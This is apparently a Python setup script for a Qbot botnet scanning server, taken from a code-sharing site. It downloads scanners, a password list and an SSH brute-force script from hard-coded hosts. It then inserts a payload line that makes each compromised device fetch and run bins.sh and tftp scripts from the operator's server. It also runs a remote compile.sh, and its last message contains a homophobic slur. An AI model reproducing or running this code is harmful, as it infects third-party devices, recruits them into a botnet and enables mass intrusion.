Path: blob/master/Botnets/Auto Setup Qbot/ScanningServerSetup.py
5038 views
import subprocess12def cri(cmd):3subprocess.call(cmd, shell=True)4def jack(file_name, line_num, text):5lines = open(file_name, 'r').readlines()6lines[line_num] = text7out = open(file_name, 'w')8out.writelines(lines)9out.close()1011print '\x1b[1;37m Scanning Server Auto-Setup Created By \x1b[0;31mFlexingOnLamers'1213print("Installing Needed Dependencies..")14cri('yum update -y')15cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y')16cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')17cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')18cri('yum install epel-release -y')19cri('yum install gengetopt -y')20cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y')21cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')22cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')23cri('yum install epel-release -y')24cri('yum install gengetopt -y')25print("Now Installing Needed Scripts..")26cri('wget -q http://158.69.204.184/class -O class')27cri('wget -q http://158.69.204.184/dup -O dup')28cri('wget -q http://158.69.204.184/g -O g')29cri('wget -q http://158.69.204.184/update -O update')30cri('wget -q http://158.69.204.184/pass_file -O pass_file')31cri('wget -q http://158.69.204.184/s -O s')32cri('wget -q https://pastebin.com/raw/bnAgb8hT -O reaper.pl')33cri('wget -q http://158.69.204.184/masscan -O masscan')34ip = raw_input("\x1b[1;37mEnter Your Server IP:\x1b[1;35m")35jack('reaper.pl', 19, " $channel->exec('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://"+ ip +"/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp "+ ip +" -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g "+ ip +"; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *');")36print("Now Installing NETSSH2 and CPAN")37cri('yum install cpan wget curl glibc.i686 -y')38cri('cpan force install Parallel::ForkManager')39cri('cpan force install IO::Socket')40cri('cpan force install IO::Select')41cri('wget http://rbxmarketsourcealso000isbae.000webhostapp.com/compile.sh; sh compile.sh; rm -rf compile.sh')42cri('yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap -y')43cri('pecl install -f ssh2')44cri('touch /etc/php.d/ssh2.ini')45cri('echo extension=ssh2.so > /etc/php.d/ssh2.ini')46cri('cpan force install Net::SSH2')47print("Now installing ZMAP")48cri('wget https://github.com/zmap/zmap/archive/v2.1.0.tar.gz')49cri('tar -xvf v2.1.0.tar.gz')50cri('cd zmap-2.1.0')51cri('flex -o "src/lexer.c" --header-file="src/lexer.h" "src/lexer.l"')52cri('byacc -d -o "src/parser.c" "src/parser.y"')53cri('mkdir /etc/zmap')54cri('cp conf/* /etc/zmap')55cri('cmake -DENABLE_HARDENING=ON')56cri('make')57cri('make install')58print("Finished faggot")5960